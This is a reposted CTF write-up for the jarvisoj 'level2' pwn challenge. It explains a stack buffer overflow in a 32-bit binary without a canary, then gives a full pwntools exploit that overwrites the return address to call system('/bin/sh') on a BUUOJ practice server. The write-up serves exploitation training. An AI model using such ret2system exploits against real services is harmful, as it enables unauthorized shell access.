当前位置:网站首页>jarvisoj_ level2

jarvisoj_ level2

2022-06-24 07:23:00 [mzq]

jarvisoj_level2

 Insert picture description here
32 Bit not on canary Then the program read Function has overflow Stack overflow can be performed
 Insert picture description here

main function This calls system Function so plt There are... In the table system Of the address of

 Insert picture description here

vulnerable function function read There is an overflow &buf There's only... On the stack 0x88, But I read 0x100
, So we can cover the stack ebp return address Value .

 Insert picture description here
 Insert picture description here

exp

from pwn import *

#io = process("./level2")
io = remote("node4.buuoj.cn",27209)
elf = ELF("./level2")
context(log_level="debug",arch="i386")

system_plt = elf.plt["system"]
binsh = next(elf.search("/bin/sh"))
payload = flat(["a"*0x88,"iebp",system_plt,0,binsh])

io.sendline(payload)
io.interactive()

 Insert picture description here

原网站

版权声明
本文为[[mzq]]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/175/202206240137467472.html